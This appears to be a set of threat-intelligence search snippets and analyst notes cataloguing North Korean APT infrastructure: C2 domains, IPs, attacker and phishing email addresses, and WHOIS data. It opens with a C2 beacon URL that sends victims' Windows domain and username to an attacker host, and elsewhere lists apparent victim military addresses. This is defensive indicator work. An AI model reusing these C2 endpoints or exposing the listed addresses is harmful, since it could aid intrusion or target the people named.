http[://]p1o2i3u4y5t6r7e8w9q0.medianewsonline.com/logout.php?OKey=$env:userdomain&Who=$env:username VelvetCake C2 URL Domain p1o2i3u4y5t6r7e8w9q0.medianewsonline.com VelvetCake C2 Domain Domain jaemoolding25863.elementfx.com VelvetCake C2 Domain Domain zvwb1ep7i.onlinewebshop.net…","…nda.org genuinashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-leclercq.be pomozzi.com sparkwebsolutions.space tatukikai.jp vintashmarket.com 이 글 공유하기…","Replies to Frost's Konni posts of September 2023 (https://x.com/fr0s7_/status/1697506531724419277 and https://x.com/fr0s7_/status/1698615902961381660). The first calls 88.119.169.73 Konni-related as well, a neighbour of the 88.119.169.96 address in Frost's post; the second names postal.unioncasaromanord.it as the operators' domain. The domain is a subdomain of an Italian organisation's name and may be a compromised legitimate site rather than one the operators registered.","…Files\\Common Files\\System\\msadc\\msadc.inc C:\\ProgramData\\desktops.ini C2 servers javadevhouse.co.kr pythonapischool.com https://cubedesign.co.kr/news C2 of Cubridge https://cubedesign.co.kr/mobile/fashion C2 of Cubridge…","In a reply to bbsz's post on Qorexa Labs (AS402425), which Doug Madory of Kentik says is believed to be a Moonstone Sleet front, the researcher reports that qorexa-labs.com is live with the same tank game as qorexalabs.com. The tie to North Korea is the quoted claim, not this site's finding. Read on 12 November 2026.","The researcher quotes a post by Doug Madory of Kentik advising networks to de-peer from Qorexa Labs (AS402425), which Madory says is believed to be a front for the North Korean group Moonstone Sleet and has engaged in BGP hijacking and traffic manipulation in 2026, and adds the company's GitHub account and the address it commits under, describing the operation as an IT-worker one. The attached images show the Qorexa Labs site offering a play-to-earn tank game called Chaintanks, a QorexaSwap and a QorexaWallet, and the account's single repository, chaintanks, a backend template created on 17 March 2026; the tank-game product matches the lure reported for Moonstone Sleet. The domain is carried because the address is on it. In a reply the researcher adds a capture of a Qorexa Labs LLC job listing for a Unity game engineer (Manchester, 24 February 2026) and a summary of a CNCERT report of 20 October 2026 accusing AS402425 of DNS tampering. The attribution is Madory's and the researcher's, not this site's. Read on 12 November 2026 with all three replies.","…C2 qwert.mine.bz 216.189.154.6:80 URL http://qwert.mine.bz/index.php Registry Key Added HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet…","…All rights reserved. © 2024 Expansion of research C2 servers Rezept.scr (httpSpy) Signer's certificate: ------------------ Signer #0: Subject: /C=US/ST=Massachusetts/L=BURLINGTON/O= xxxxxxx ,…","…Indicators: download.uberlingen.com 94.131.120.80 C2 logo.kalbas.com.vn 94.131.120.80 C2 share.dihl-defence.o-r.kr 94.131.120.80 C2 share-defence.ohbah.com 94.131.120.80 C2 share-defence.verymad.net 94.131.120.80 C2 share-defence.uberlingen.com 94.131.120.80 C2 online.viewers.r-e.kr…","…C2 share.dihl-defence.o-r.kr 94.131.120.80 C2 share-defence.ohbah.com 94.131.120.80 C2 share-defence.verymad.net 94.131.120.80 C2 share-defence.uberlingen.com 94.131.120.80 C2 online.viewers.r-e.kr 94.131.120.80 C2 ecloud.uberlingen.n-e.kr 94.131.120.80 C2 cloud.adoubleu.de 94.131.120.80…","…C2 logo.kalbas.com.vn 94.131.120.80 C2 share.dihl-defence.o-r.kr 94.131.120.80 C2 share-defence.ohbah.com 94.131.120.80 C2 share-defence.verymad.net 94.131.120.80 C2 share-defence.uberlingen.com 94.131.120.80 C2 online.viewers.r-e.kr 94.131.120.80 C2 ecloud.uberlingen.n-e.kr…","…Network Indicators: download.uberlingen.com 94.131.120.80 C2 logo.kalbas.com.vn 94.131.120.80 C2 share.dihl-defence.o-r.kr 94.131.120.80 C2 share-defence.ohbah.com 94.131.120.80 C2 share-defence.verymad.net 94.131.120.80 C2 share-defence.uberlingen.com…","…inashop.com igamingroundtable.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-leclercq.be pomozzi.com sparkwebsolutions.space tatukikai.jp vintashmarket.com 이 글 공유하기 Facebook…","…table.com jlrandsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-leclercq.be pomozzi.com sparkwebsolutions.space tatukikai.jp vintashmarket.com 이 글 공유하기 Facebook LinkedIn Email…","The researcher tags the first post #DPRK #KONNI #C2 and gives a C2 URL ending in the same /YE97Bw999zB87t1U8i.php path as the KBW lure's backdoor of 29 September, then a second on 15 October, then in a reply links the paste he titles KONNI C2, which lists fifteen URLs on that path across seven hosts: four subdomains of InfinityFree's xo.je, two of its kesug.com (fe29jf323.kesug.com is the September backdoor's C2), and one of nfy.fyi. Free-hosting subdomains are filed as hosted sites, the address being the operator's choice of name on a platform that gives one to anyone. Read on 26 October 2026; the first post shows one reply, which is @skocherhan's image-only reply in the same chain and carries no value. The paste was set to expire in November 2026.","Two posts the researcher tags #APT #Konni, three days apart. The first gives a sample, its C2 domain and the address it resolved to; the second gives another sample and says it uses the same domain.","…Republic signed a semiconductor technology cooperation memorandum on the 23 rd \u0000« #BHASIA @BlackHatEvents #BHASIA @BlackHatEvents C2: url2.ml \u0000‡ F ake url shortening website #BHASIA @BlackHatEvents Case Study: Hacker's note #BHASIA @BlackHatEvents Case study \u0000‡ Dec.…","…andsons.co.uk kppe.pl kyowaind.co.jp nationalinterestparty.com optique-leclercq.be pomozzi.com sparkwebsolutions.space tatukikai.jp vintashmarket.com 이 글 공유하기 Facebook LinkedIn Email…","…Remote RTF template: 08f93351d0d3905bee5b0c2b9215d448abb0d3cf49c0f8b666c46df4fcc007cb C2: word-template.net openxmlformat.org ms-office.services ms-offices.com template-openxml.com Posted in:…","…VelvetCake C2 Domain Domain jaemoolding25863.elementfx.com VelvetCake C2 Domain Domain zvwb1ep7i.onlinewebshop.net VelvetCake C2 Domain IP Address 111.92.246.145 VelvetCake C2 IP Address (Port 12345) Email Address omski00@outlook.com…","…and July 17th, 2019, spear phishing emails were sent to a total of five individuals at a US government agency from the email addresses 0tdelkorei@mail.ru and kargarnova@mail.ru .…","…hanrnaii.net 27.102.115.16 (KR) Dongil Song bitcoin024@hanmail.net webrnail.net 185.224.138.172 (NL) Snoopy Nicolai 11baku2017@mail.ru webrnail.com 156.67.222.228 (SG) Blazimir Nicolai 11baku2017@mail.ru attach-filedown.net 91.235.116.227 (RO) Blazimir Gatov…","…moo.corkmusicstationcom X-EN-CGIPath: /.well-known/weebly-verify/config.php X-EN-OrigIP: 202.168.155.156 (KR) Message-Id: <1523675263-12-moo.corkmusicstationcom@walcustweb0403.yourhostingaccount.com> To: < > Subject: =?utf-8?Q?=ED=99=95=EC=9D=B8_=EB=B6=80=ED=83=81_=EB=93=9C?= =?utf-8?Q?=EB=A6=BD=EB=8B=88=EB=8B=A4?=…","…goddadyusim@hanmail.net Western Europe Embassy 2025-03-24 UNC military event follow-up actions 0324UNC LIEGOIS Carole 1gai2000@hanmail.net Central Europe Embassy, Eastern Europe Foreign Ministry 2025-03-26 EU political counselors meeting minutes europa EKFELDT…","…Email IoCs Sender Name Sender Email Recipient Date Phishing Lure Password 김태성 (Kim Taesung) 1gai2000@hanmail.net Central Europe Embassy 2025-03-06 Gas facility safety inspection service gas2025 Chang, Hyo Chon…","…The June 17 malicious publishes came from the same account name with a different email, ehindero2016@tutamail.com , the same <name>2016@tutamail.com pattern as the sergey2016 account that published easy-day-js . The email swap on a 16-month-dormant account points to an account takeover…","…%AppData%\\Mozilla\\Ext : tader.wav (keylogging data & process info) %AppData%\\Mozilla\\plug_in : Encrypted stolen info email info id : 30000.song@daum.net pwd : ****(Not Open) send to : flower9801@hanmail.net Related posts.(in this blog) [JustForFun] VMProtect Windows API Address…","…– skagh1961@mail.com – karena1989@mail.com – jhonin333@india.com – qwpejfe234@zoho.com – s24yt@opera.com – d24tf@opera.com – 3wrasd@opera.com – tilmb17.indiatimes.com – jsso.indiatimes.com – voice9911@indiatimes.com – fdjjy456@zoho.com – … 아래의 [표-1]과 [표-2]는 각각 웹 메일계정에…","…N/A attachment-download.net 188.241.39.10 (UK) N/A N/A naver.attach-download.com 104.243.41.186 (US) 782297f262156a15 65e 5efe860b4c715s@mail.ru daum.attach-download.com 104.243.41.186 (US) 782297f262156a15 65e 5efe860b4c715s@ mail.ru webmail.attach-download.com 104.243.41.186…","…the Ransomware Group Size, following answer is :- CHAT: 5 During a personal chat, the personal email address has been revealed as:- 6449a3c1e612168526@proton.me CHAT: 6 The Chat Operators/affiliate are assigned with Proton Mail addresses with alpha-numerics instead of names, as we have seen…","…Mon, 16 Dec 2024 15:42:20 +0900 From: =?utf-8?B?7Lm07Lm07Jik7YyA?= <noreply_system001@kaka.net> Message-ID: <7737f0cc2c82cce3d45aeb0cbecd898c@7737f.nm> MIME-Version: 1.0 Content-Type: multipart/alternative;…","…By visiting the website, we can deduce the following email address: a00f105546345756@proton.me NOTE : The same host was facilitated various Phishing Incidents like AppleJeus from the Lazarus Group 🇰🇵 previously. Now, we…","…Kimsuky-related email accounts associated with this campaign include luckgpu@gmail.com and abdulsamee7561@gmail.com. The malicious applications were likely distributed via spearphishing or smishing. Source : A cyber security company…","…They created email addresses that confused victims by using security-related keywords such as protect, privacy, and security. acc.signnin.send@gmail.com countine.protector.mail@gmail.com n0.reaply.moster@gmail.com no.raply.letservice@gmail.com no.repiy.acc.notice@gmail.com noreaply.secu…","…scheduled_task GoogleUpdateTaskMachineUA{1C791230-CA8D-6D04-AC55-E498ABE7C33} Malicious — email ahyeon72@kakao.com — — MITRE ATT&CK Tactic Technique ID Technique Name…","…(0) 2020.03.25 국방부 출신 이력서를 위장한 김수키(Kimsuky) 조직의 '블루 에스티메이트 Part7' APT 공격 주의 (0) 2020.03.23 태그 alexandermatrov12@gmail.com , apt , Dragon Messenger , ESRC , Geumseong121 , godlemessy@gamil.com , kpsa-press@daum.net , kpsapress@gmail.com , martburgle@gmail.com ,…","…1000.SKXUYYKYL06F Q2NW82[redacted] dsf sdf rexmedina89@zohomail.com 1000.7BMBOS8GV1ZR 6AWEI2[redacted] dsf dsf alishaross751@zohomail.com 1000.V0J0QN7SJ2N7 V6IZVE[redacted] sdf sdf jamesdeeds385@zohomail.com 1000.2IGB56IS1FHQ 1V332R[redacted] asdf sdaf…","…- allmothersorg11@hotmail.com - allmothersorg@hotmail.com - bluelove@india.com - cmostenda01@yahoo.com - cmostenda102@yahoo.com - cmostenda103@yahoo.com - daum14401@zmail.ru -…","…- allmothersorg11@hotmail.com - allmothersorg@hotmail.com - bluelove@india.com - cmostenda01@yahoo.com - cmostenda102@yahoo.com - cmostenda103@yahoo.com…","…1000.8QU6D2LJZ3RC GLZWF2[redacted] Mic haelLarrow19 michaellarrow19@zohomail.com 1000.NT1QEE7V73IH NZP5YT[redacted] dsf sdf amandakurth94@zohomail.com 1000.SKXUYYKYL06F Q2NW82[redacted] dsf sdf rexmedina89@zohomail.com 1000.7BMBOS8GV1ZR 6AWEI2[redacted] dsf dsf…","…OrgNOCHandle: AANO1-ARIN OrgNOCName: Amazon AWS Network Operations OrgNOCPhone: +1-206-266-4064 OrgNOCEmail: amzn-noc-contact@amazon.com OrgNOCRef: https://rdap.arin.net/registry/entity/AANO1-ARIN OrgTechHandle: ANO24-ARIN OrgTechName: Amazon EC2 Network Operations…","…특히, 수신자들이 해당 이메일을 해킹 공격으로 의심하지 않도록 각 발신지 주소를 실제 통일부(analysis@unikorea.go.kr)와 통일연구원(mail@kinu.or.kr)의 공식 이메일 주소처럼 정교하게 조작하는 해킹 수법을 사용했습니다.…","…registrant, shown below. Field Value Registrant Name Anatolli Bigdasch Location Boston, MA, US Phone +1.3542438756 Email anatollibigdasch0717@gmail.com A search for “Anatolli Bigdasch” returns a private LinkedIn profile associated with the same individual.…","…Kimsuky’s emails originated from andersonj@rfa.ink and ashraf@ipinst.online.…","…: \"2025-02-06T14:28:40.707Z\" , \"owners\" : [ { \"kind\" : \"drive#user\" , \"displayName\" : \"andreytony001\" , \"emailAddress\" : \"andreytony001@gmail.com\" , \"permissionId\" : \"17628116675428814843\" , \"photoLink\" :…","…피싱 메일 이메일 헤더 내용 발신 이메일 주소 이메일 주소:angelosmxtpl@list.ru->89.221.237.155 러시아 모스크바 에서 발송을 한 것을 확인할 수 있습니다.…","…https://asec.ahnlab.com/ko/34883/ 声明：本文来自奇安信威胁情报中心，版权归作者所有。文章内容仅代表作者独立观点，不代表安全内参立场，转载目的在于传递更多信息。如有侵权，请联系 anquanneican@163.com。 APT 相关资讯 不再只伪装IT岗：朝鲜远程工作者渗透销售医疗机构等岗位 APT 黑鸟 2026-08-28…","…声明：本文来自奇安信威胁情报中心，版权归作者所有。文章内容仅代表作者独立观点，不代表安全内参立场，转载目的在于传递更多信息。如有侵权，请联系 anquanneican@163.com。 APT 金融保险 电力能源 相关资讯 不再只伪装IT岗：朝鲜远程工作者渗透销售医疗机构等岗位 APT 黑鸟 2026-08-28…","…声明：本文来自国家网络威胁情报共享开放平台，版权归作者所有。文章内容仅代表作者独立观点，不代表安全内参立场，转载目的在于传递更多信息。如有侵权，请联系 anquanneican@163.com。 APT 病毒木马 相关资讯 不再只伪装IT岗：朝鲜远程工作者渗透销售医疗机构等岗位 APT 黑鸟 2026-08-28…","…APT攻击活动 。 声明：本文来自360核心安全，版权归作者所有。文章内容仅代表作者独立观点，不代表安全内参立场，转载目的在于传递更多信息。如有侵权，请联系 anquanneican@163.com。 APT 数字加密货币 相关资讯 不再只伪装IT岗：朝鲜远程工作者渗透销售医疗机构等岗位 APT 黑鸟 2026-08-28…","…声明：本文来自国家网络威胁情报共享开放平台，版权归作者所有。文章内容仅代表作者独立观点，不代表安全内参立场，转载目的在于传递更多信息。如有侵权，请联系 anquanneican@163.com。 APT 病毒木马 相关资讯 北美APT组织NightEagle利用新后门与隧道技术开展隐蔽攻击活动 APT 白泽安全实验室 2026-09-18…","…https://asec.ahnlab.com/ko/34883/ 声明：本文来自奇安信威胁情报中心，版权归作者所有。文章内容仅代表作者独立观点，不代表安全内参立场，转载目的在于传递更多信息。如有侵权，请联系 anquanneican@163.com。 APT 相关资讯 北美APT组织NightEagle利用新后门与隧道技术开展隐蔽攻击活动 APT 白泽安全实验室 2026-09-18…","…APT攻击活动 。 声明：本文来自360核心安全，版权归作者所有。文章内容仅代表作者独立观点，不代表安全内参立场，转载目的在于传递更多信息。如有侵权，请联系 anquanneican@163.com。 APT 数字加密货币 相关资讯 北美APT组织NightEagle利用新后门与隧道技术开展隐蔽攻击活动 APT 白泽安全实验室 2026-09-18…","…185.27.134.140 27.102.137.126 27.102.137.159 27.102.138.44 Domain stoks.great-site.net Email apollo1030109@gmail.com awed33@outlook.kr belendong40@gmail.com brandonleeodd.93@gmail.com contrasde@outlook.kr devlion413@gmail.com…","…OctoProbe links it to the display name « Oura Kano », which is also shared with the twin address apollo1030109@gmail.com [4]. C2 Relay Administrator: 0xapp123 A Medium account using the alias @0xapp123 posted an article presenting past Web3 projects and…","…27.102.137.159 27.102.138.44 Domain stoks.great-site.net Email apollo1030109@gmail.com awed33@outlook.kr belendong40@gmail.com brandonleeodd.93@gmail.com contrasde@outlook.kr devlion413@gmail.com eros1030109@gmail.com…","…OrgRoutingHandle: ADR29-ARIN OrgRoutingName: AWS Dogfish Routing OrgRoutingPhone: +1-206-266-4064 OrgRoutingEmail: aws-dogfish-routing-poc@amazon.com OrgRoutingRef: https://rdap.arin.net/registry/entity/ADR29-ARIN OrgRoutingHandle: IPROU3-ARIN OrgRoutingName: IP Routing…","…OrgRoutingHandle: IPROU3-ARIN OrgRoutingName: IP Routing OrgRoutingPhone: +1-206-266-4064 OrgRoutingEmail: aws-routing-poc@amazon.com OrgRoutingRef: https://rdap.arin.net/registry/entity/IPROU3-ARIN Relationships 54.241.91.49 Resolved_To automercado.co.cr…","…yrfghjk652u.mygamesonline.org yyjybdrq4.scienceontheweb.net zvwb1ep7i.onlinewebshop.net Email babiest26@outlook.com baras6600@daum.net baras6600@hotmail.com baras6600@proton.me choemiyang@hotmail.com davidmaximy@outlook.com…","…We note the use of the same string in the context of Kimsuky activities, for example, in an email address used in a phishing campaign ( bandi00413@daum.net ) and in a C2 server domain ( one.bandi.tokyo ). While the overlap in pseudonym use does not represent a strong link between the groups…","…Recent sender email addresses include bandi00413@daum.net . The phishing emails, written in Korean, request the recipient to review an attached document claiming to be authored by Lee Kwang-baek,…","…yyjybdrq4.scienceontheweb.net zvwb1ep7i.onlinewebshop.net Email babiest26@outlook.com baras6600@daum.net baras6600@hotmail.com baras6600@proton.me choemiyang@hotmail.com davidmaximy@outlook.com davidmaximy@proton.me…","…yyjybdrq4.scienceontheweb.net zvwb1ep7i.onlinewebshop.net Email babiest26@outlook.com baras6600@daum.net baras6600@hotmail.com baras6600@proton.me choemiyang@hotmail.com davidmaximy@outlook.com davidmaximy@proton.me dustinharrise91@outlook.com…","…E-Mail baras6600@proton.me choemiyang@hotmail.com dustinharrise91@outlook.com jackal3300@proton.me jametony8@outlook.com jamjack2026@proton.me…","…zvwb1ep7i.onlinewebshop.net Email babiest26@outlook.com baras6600@daum.net baras6600@hotmail.com baras6600@proton.me choemiyang@hotmail.com davidmaximy@outlook.com davidmaximy@proton.me dustinharrise91@outlook.com hazama09093@outlook.com…","…From all the samples that we managed to obtain, we extracted the following email accounts used in this campaign: beautifl@mail.bg ennemyman@mail.bg fasionman@mail.bg happylove@mail.bg lovest000@mail.bg monneyman@mail.bg sportsman@mail.bg veryhappy@mail.bg…","…27.102.138.44 Domain stoks.great-site.net Email apollo1030109@gmail.com awed33@outlook.kr belendong40@gmail.com brandonleeodd.93@gmail.com contrasde@outlook.kr devlion413@gmail.com eros1030109@gmail.com hera1030109@gmail.com…","…The attacker used the email ‘ beroiapark@daum.net ’ to initially engage with human rights activists in South Korea in relation to North Korean human rights.…","…• ds1kdie@aol.com • ssdkfdlsfd@gmail.com • haris2022100@outlook.com • bing2020@outlook.kr • marksigal1001@gmail.com • donghyunkim1010@gmail.com • hong_xiao@naver.com •…","…(198.252.103.74) - down-error2.com (198.252.102.112) - kan-smiko.com (172.96.186.193) - kani_smiko@rambler.ru - birmingham1956@rambler.ru HWP 문서 파일 내부에는 악성 포스트 스크립트(Post Script) 코드가 포함되어 있습니다.…","…공격자는 한메일 서비스에 이메일 주소 'bitcoin001@hanmail.net' 부터 'bitcoin040@hanmail.net' 등을 만들어 놓고, 명령제어(C2) 서버용 도메인 구축에 활용했고, 'rninchurl@daum.net' 주소도 관찰되었습니다.…","…[그림 11] 해킹 이메일과 구글 피싱 화면 현재는 'rnailr.com' 도메인 등록자가 중국 관계자로 변경되어 있지만, 2018년 04월 18일 'Swoonchul Kwon' (권순철) 한글식 이름의 등록자가 존재 했고, 등록 이메일이 'bitcoin014@hanmail.net' 주소를 사용하였습니다.…","…협상과 체제 안전 내용’ 담은 APT 공격 징후 발견 (0) 2020.11.17 Trojan.Agent.QakBot 악성코드 분석 보고서 (0) 2020.11.17 태그 bitcoin014@hanmail.net , Kimsuky , midsecurity.org , naver.midsecurity.org , Thallium , tiger199392@daum.net , 김수키 , 탈륨 관련글 더보기…","…mail.net app-wallet.com 91.235.116.144 (RO) Annie Cho bitcoin025@hanmail.net rneail.com 27.102.106.122 (KR) Annie Cho bitcoin018@hanmail.net rnaeil.com 188.241.58.61 (RO) Annie Cho bitcoin018@hanmail.net rnailm.com 194.124.34.62 (JP) Annie Cho…","…midsecurity.org resetpolicy.com rnaii.com - MS Thallium bitcoin024@hanmail.net Dongil Song rneail.com bitcoin018@hanmail.net Annie Cho securitycounci1report.org servicenidnaver.com un.midsecurity.org N/A (52.177.14.24) app-wallet.com…","…naerver.com 27.102.106.122 (KR) Annie Cho bitcoin025@hanmail.net rnaii.com 27.255.79.205 (KR) Dongil Song bitcoin024@hanmail.net grnaeil.com 160.202.162.78 (KR) Dongil Song bitcoin024@hanmail.net hanrnaii.net 27.102.115.16 (KR) Dongil Song…","…탈륨 이메일 주소 블로그 연관 정보 bitcoin024@hanmail.net bitcoin025@hanmail.net 코니(Konni) APT 조직, 안드로이드 스파이 활동과 김수키 조직 유사성 분석 (2019.…","…login.daum-protect.com mail.resetpolicy.com mail.servicenidnaver.com midsecurity.org resetpolicy.com rnaii.com - MS Thallium bitcoin024@hanmail.net Dongil Song rneail.com bitcoin018@hanmail.net Annie Cho securitycounci1report.org servicenidnaver.com un.midsecurity.org…","…manage.app-wallet.com (91.235.116.144) - 특히, 'manage.app-wallet.com' C2 도메인을 등록한 내용을 확인해 보면, 등록자명은 'Annie Cho'이고 이메일 주소는 ' bitcoin025@hanmail.net' 한국 한메일을 쓰고 있습니다.…","…servicenidnaver.com un.midsecurity.org N/A (52.177.14.24) app-wallet.com - MS Thallium bitcoin025@hanmail.net Annie Cho bigwnet.com - MS Thallium Yoichi Shimada pigcoin2020@hotmail.com seoulhobi.biz - Smoke Screen…","…- allmothersorg11@hotmail.com - allmothersorg@hotmail.com - bluelove@india.com - cmostenda01@yahoo.com - cmostenda102@yahoo.com - cmostenda103@yahoo.com - daum14401@zmail.ru - dapplecom2013@yahoo.com…","…on https://www.bitcoin.com/buy-bitcoin and others. Contact information: BM-2cVcZL1xfve1yGGKwEBgG1ge6xJ5PYGfGw@bitmessage.ch reserve: BM-2cT4U1vBdjfqKDeWMEXgCWs9SfnMK1GLTF@bitmessage.ch Malware Analysis – Samples #4 and #6, Lazarus malware Sample #4 ( msmpeng.exe ) is packed with Themida to hamper analysis under a…","…3 files for test. We accept Bitcoin, you can find exchangers on https://www.bitcoin.com/buy-bitcoin and others. Contact information: BM-2cVcZL1xfve1yGGKwEBgG1ge6xJ5PYGfGw@bitmessage.ch reserve: BM-2cT4U1vBdjfqKDeWMEXgCWs9SfnMK1GLTF@bitmessage.ch Malware Analysis – Samples #4 and #6, Lazarus malware Sample #4 (…","…The JSON contained the repository owner \"brandonleeodd93-blip\", the commit author's email address \"brandonleeodd.93@gmail.com\", and an upload record for the infection information file \"172.16.11.141-0313_0319-0956_info.txt\", which included the internal IP address…","…해당 JSON에는 저장소 소유자(brandonleeodd93-blip), 커밋 작성자 이메일(brandonleeodd.93@gmail.com), 그리고 내부 IP 주소 172.16.11.141이 포함된 감염 정보 파일(172.16.11.141-0313_0319-0956_info.txt)의 업로드 기록이 포함되어 있었습니다.…","…Communicating through the e-mail address bravemaster619@hotmail.com, the group solicited for freelance gigs on coder sites, in almost flawless English.…","…- pelham-holles.com/order/vbs.txt (185.38.151.11) - pelham-holles.com/order/no1 .txt - brighton1578@rambler.ru [그림 4] 쉘코드에서 C2 주소를 확인하는 모습 'vbs.txt' 파일은 다음과 같이 Base64 코드로 작성된 인코딩 데이터를 가지고 있습니다.…","…특정 파일을 다운로드 이때 인증을 위한 토큰과 클라이언트 정보가 사용됩니다. 10.다운로드한 파일을 AES 암호화로 복호화하여 실행합니다. 해당 스크립트는 다소 복잡한 프로세스를 거쳐 악성 파일을 다운로드하고 실행 악성코드 구글 계정 bugler011@gmail.com bugler(나팔수) 그리고 나서 wrew 이라는 파일을 파일명:wrew.hwp 사이즈:52.0 KB MD5:724bf81c0a9adb3ffe6b03a21f7cab09 SHA-1:…","…그 중 변종에는 'burari001@gmail.com' 이메일 등으로 통신을 시도하는데, 현재부터 약 12개월 전쯤 암호가 변경되어 현재는 정상적으로 명령을 수행할 수 없습니다.…","…focused on North Korea as well. A phishing email, impersonating a member of the North Korea Research Institute, was sent from the address c039911@daum.net .…","…These are some of the emails discussed in their phishing campaign plan: > covid19notice@usda.gov > ccff-applications@bankofengland.co.uk > covid-support@mom.gov.sg > covid-support@mof.go.jp > ncov2019@gov.in > fppr@korea.kr Campaign Launch Dates : According to the…","…active logins for mailboxes and VPS accounts, such as: root : 1qaz2wsx dysoni91@tutamail.com : !QAZ4rfv!@#$ https://sg24.vps.bz:4083/center2025a@tutamail.com : H4FHKMWMpX8bZ https://monovm.com/dysoni91@tutamail.com : dr567h%a”G6*m Analysis of fish-url.txt and generator.php further revealed…","…Further examination of the certificate's domain revealed a registrant email address of cfa4a551515dc742s@gmail.com .…","…p-e.kr 도메인의 Whois AC는 cfa4a551515dc742s@gmail.com 이며, Whois AC가 동일한 일부 도메인은 아래와 같다. n-e.kr r-e.kr o-r.kr kro.kr 안랩의 “ Phishing Attacks Impersonating Famous Korean Banking Apps ”…","…by this persistent threat actor. Indicators of Compromise Indicator Description nknews.pro Phishing email sender domain chad.ocarroll@nknews.pro Phishing email sender address membership@nknews.pro Phishing email sender address https[://]www.nknews.pro Website…","…031111@dcc.mil.kr_ZGkwMzExMTFAZGNjLm1pbC5rcg== didcdba@dcc.mil.kr_ZGlkY2RiYUBkY2MubWlsLmty jhcgod88@dcc.mil.kr_amhjZ29k0DhAZGNjLm1pbC5rcg== chanchan0616@dcc.mil.kr_Y2hhbmNoYW4wNjE2QGRjYy5taWwua3I= yib100@dcc.mil.kr_eWliMTAwQGRjYy5taWwua3I= Dsc808@dcc.mil.kr_RHNj0DA4QGRjYy5taWwua3I= Base64 부분이 해당…","…In our sample, the data is attempted to be sent to: chioekang59@daum.net. Archeology During our investigation, we tried to find additional samples of NavRAT.…","…E-Mail baras6600@proton.me choemiyang@hotmail.com dustinharrise91@outlook.com jackal3300@proton.me jametony8@outlook.com jamjack2026@proton.me montry111@proton.me…","…Email babiest26@outlook.com baras6600@daum.net baras6600@hotmail.com baras6600@proton.me choemiyang@hotmail.com davidmaximy@outlook.com davidmaximy@proton.me dustinharrise91@outlook.com hazama09093@outlook.com…","…It then adds cimoon185@daum.net to the account's list of forwarding addresses. caption - Forward function in chks.js After setting up the forwarding rule, it…","…연세대학교 이메일 탈취 악성코드 vps/var/www/html/js/chks.js 파일은 “https://mail.yonsei.ac.kr/common/json/agent.do”에서 유저 정보를 수집하고, 이메일 포워딩 주소 목록에 cimoon185@daum.net 를 추가한다. caption - chks.js Forward 함수 이후 ent_{user}, TOTAL 메일함에서, 발송일이 2017-10-01 이후인 이메일을 탈취해…","…메일(2023.12.21) (0) 2023.12.26 구글 크롬 구글 웹 스토어에서 사용자 150만명의 가짜 VPN 확장 프로그램 3개 제거 (0) 2023.12.25 CJ 대한통운 택배 이메일 사칭 피싱 메일 cjinfo@cjexpress.co.kr(2023.10.19) (0) 2023.12.22 Firefox 121(파이어폭스 121)보안 업데이트 및 기능 업데이트 (0) 2023.12.21…","…Center 15 [ 그림 11] ‘other32.jpg’ 파일 pCloud Access Token 활용 화면 ○ 공격자는 지난 2022 년 9 월 pCloud 가입할 때 ‘ claudiaback0910@yandex.com ’ 계정의 러시아 이메일 주소를 사용했으며 , 약 7 개월 전에 준비된 명령제어 서버를 2023 년 4 월 공격에 사용했습니다 . Threat Intelligence Report…","…The following emails were observed in WHOIS records for related domains: cliego.garcia@proton.me remey.simpson@outlook.com jackiewcaudill @ gmail.com philip.je@proton.me haroldjmarable @ gmail.com In terms of attribution, the…","…- allmothersorg11@hotmail.com - allmothersorg@hotmail.com - bluelove@india.com - cmostenda01@yahoo.com - cmostenda102@yahoo.com - cmostenda103@yahoo.com - daum14401@zmail.ru - dapplecom2013@yahoo.com - eatleopard00@inbox.com…","…- allmothersorg11@hotmail.com - allmothersorg@hotmail.com - bluelove@india.com - cmostenda01@yahoo.com - cmostenda102@yahoo.com - cmostenda103@yahoo.com - daum14401@zmail.ru - dapplecom2013@yahoo.com - eatleopard00@inbox.com - fastcameron00 -…","…- allmothersorg@hotmail.com - bluelove@india.com - cmostenda01@yahoo.com - cmostenda102@yahoo.com - cmostenda103@yahoo.com - daum14401@zmail.ru - dapplecom2013@yahoo.com - eatleopard00@inbox.com - fastcameron00 - fastcameron11 - fastcameron13…","…Email apollo1030109@gmail.com awed33@outlook.kr belendong40@gmail.com brandonleeodd.93@gmail.com contrasde@outlook.kr devlion413@gmail.com eros1030109@gmail.com hera1030109@gmail.com holowin401@gmail.com holowin@gmail.com jecoma@outlook.kr…","…악의적인 기능을 수행할 수 있다 . [ 그림 11] 공격자의 구글 드라이브에 업로드된 파일 한편 , [ 그림 11] 의 하단에서 볼 수 있는 이메일 주소 ( countine.protector.mail@gmail.com) 는 과거에서 피 싱 메일 발신 계정으로 사용된 바 있다 . 이와 관련해 지난 2018 년 , 교육 분야 사이버 안전센터 ECSC 에 서 [ 그림 12] 와 같은 권고문을…","…The hacker’s Google Drive account is “countine.protector.mail@gmail.com”.…","…in their phishing campaign plan: > covid19notice@usda.gov > ccff-applications@bankofengland.co.uk > covid-support@mom.gov.sg > covid-support@mof.go.jp > ncov2019@gov.in > fppr@korea.kr Campaign Launch Dates : According to the hackers plans as observed by CYFIRMA Research, the phishing…","…are some of the emails discussed in their phishing campaign plan: > covid19notice@usda.gov > ccff-applications@bankofengland.co.uk > covid-support@mom.gov.sg > covid-support@mof.go.jp > ncov2019@gov.in > fppr@korea.kr Campaign Launch Dates : According to the hackers plans as observed by…","…These are some of the emails discussed in their phishing campaign plan: > covid19notice@usda.gov > ccff-applications@bankofengland.co.uk > covid-support@mom.gov.sg > covid-support@mof.go.jp > ncov2019@gov.in > fppr@korea.kr…","…tslint-conf v7.2.1 Package (taken down) nodemon-node , ts-await (now 0.0.1-security holding packages) npm maintainer conodeeth ( coxhazelqja151@outlook.com ) Forged author string Alexus111 ( hello@jsonspack.com ), bugs URL jsonspack.com/issues Second-stage host…","…– skagh1961@mail.com – karena1989@mail.com – jhonin333@india.com – qwpejfe234@zoho.com – s24yt@opera.com – d24tf@opera.com – 3wrasd@opera.com – tilmb17.indiatimes.com – jsso.indiatimes.com – voice9911@indiatimes.com – fdjjy456@zoho.com – … 아래의…","…- bluelove@india.com - cmostenda01@yahoo.com - cmostenda102@yahoo.com - cmostenda103@yahoo.com - daum14401@zmail.ru - dapplecom2013@yahoo.com - eatleopard00@inbox.com - fastcameron00 - fastcameron11 - fastcameron13 - fatpigfarms@hotmail.com 